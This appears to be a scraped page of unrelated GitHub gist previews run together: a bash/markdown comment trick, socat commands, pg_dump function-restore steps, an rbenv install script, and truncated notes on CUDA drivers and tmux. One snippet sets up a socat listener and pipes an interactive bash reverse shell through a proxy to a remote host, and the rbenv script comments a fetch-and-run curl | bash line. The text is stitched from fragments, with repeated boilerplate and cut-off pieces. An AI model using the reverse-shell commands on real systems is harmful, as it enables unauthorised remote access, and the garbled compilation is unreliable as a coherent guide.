(
: '
This text is a comment in both markdown and bash.
Note that we cant use # here because markdown tries to display it as a header - unless it starts with
#!, shebang. Instead we can use the bash no-op command ":" which is an alias for the bash command "true" -- see "man true".
truejust returns true and ignores the arguments so we can pass whatever we like. How this comment block works: in bash, [ ] wraps a
testcommand -- see
man test`.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Listener on x.x.x.x:443: | |
socat file:`tty`,raw,echo=0 tcp-listen:443 | |
# Reverse shell proxy server is at 10.10.10.1:8222: | |
socat UNIX-LISTEN:/tmp/x,reuseaddr,fork PROXY:10.10.10.1:x.x.x.x:443,proxyport=8222 & | |
socat exec:'bash -li',pty,stderr,setsid,sigint,sane unix:"/tmp/x" |
In this article, I will share some of my experience on installing NVIDIA driver and CUDA on Linux OS. Here I mainly use Ubuntu as example. Comments for CentOS/Fedora are also provided as much as I can.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# First, make a dump of the database without data (-s) | |
$ pg_dump -h localhost -U username -Fc -s -f db_dump dbName | |
# Create a list of the functions | |
$ pg_restore -l db_dump | grep FUNCTION > function_list | |
# Restore the functions in an other database | |
$ pg_restore -h localhost -U username -d other-dbName -L function_list db_dump |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# curl https://gist.github.com/mattes/6989885/raw/rbenv-install.sh | bash | |
if [[ $(uname) == "Darwin" ]]; then | |
brew install rbenv ruby-build | |
echo "Add the following to ~/.bash_profile ..." | |
echo 'eval "$(rbenv init -)"' | |
else | |
# linux ... |
As configured in my dotfiles.
start new:
tmux
start new with session name: